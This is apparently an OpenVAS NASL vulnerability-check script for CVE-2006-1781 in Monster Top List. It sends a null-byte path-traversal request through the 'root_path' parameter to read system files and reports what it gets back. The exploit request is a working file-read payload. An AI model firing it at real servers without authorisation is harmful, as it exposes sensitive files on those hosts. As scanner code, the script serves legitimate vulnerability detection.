Monster Top List Remote File Include

# SPDX-FileCopyrightText: 2008 Josh Zlatin-Amishav
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.80073");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2008-10-24 23:33:44 +0200 (Fri, 24 Oct 2008)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2006-1781");
  script_xref(name:"OSVDB", value:"24650");
  script_name("Monster Top List Remote File Include");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2008 Josh Zlatin-Amishav");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"The remote web server is running Monster Top List which is affected by a
  remote file include vulnerability.");

  script_tag(name:"insight", value:"The installed version of Monster Top List fails to sanitize user input
  to the 'root_path' parameter in sources/functions.php before using it to include PHP code from other files.

  This flaw is only exploitable if PHP's 'register_globals' is enabled.");

  script_tag(name:"impact", value:"An unauthenticated attacker may be able to read arbitrary local files or
  include a file from a remote host that contains commands which will be executed on the remote host
  subject to the privileges of the web server process.");

  script_xref(name:"URL", value:"http://pridels.blogspot.com/2006/04/monstertoplist.html");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/17546");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("misc_func.inc");

port = http_get_port(default:80);
if (!http_can_host_php(port:port))
  exit(0);

foreach dir(make_list_unique("/toplist", http_cgi_dirs(port:port))) {

  if(dir == "/")
    dir = "";

  buf = http_get_cache( item:dir + "/", port:port );
  if(!buf || ("<title>Monster Top List" >!< buf && ">Monster Top List</a>" >!< buf))
    continue;

  files = traversal_files();

  foreach pattern(keys(files)) {

    file = files[pattern];

    req = http_get( item:string( dir, "/sources/functions.php?root_path=/" + file + "%00"), port:port );
    res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
    if (!res)
      continue;

    # There's a problem if...
    if (
        # there's an entry for root or...
        egrep(pattern:pattern, string:res) ||
        # we get an error saying "failed to open stream" or "Failed opening".
        #
        # nb: this suggests magic_quotes_gpc was enabled but passing
        #     remote URLs might still work.
        egrep(string:res, pattern:"Warning.+/" + file + "\0sources/func_output\.php.+failed to open stream")

    ) {
      if (egrep(pattern:pattern, string:res)) content = res;

      if (content)
        report = string(
          "Here are the contents of the file '/" + file + "' that\n",
          " the scanner was able to read from the remote host:\n",
          "\n",
          content
        );
      else report = "";

      security_message(port:port, data:report);
      exit(0);
    }
  }
}

exit( 99 );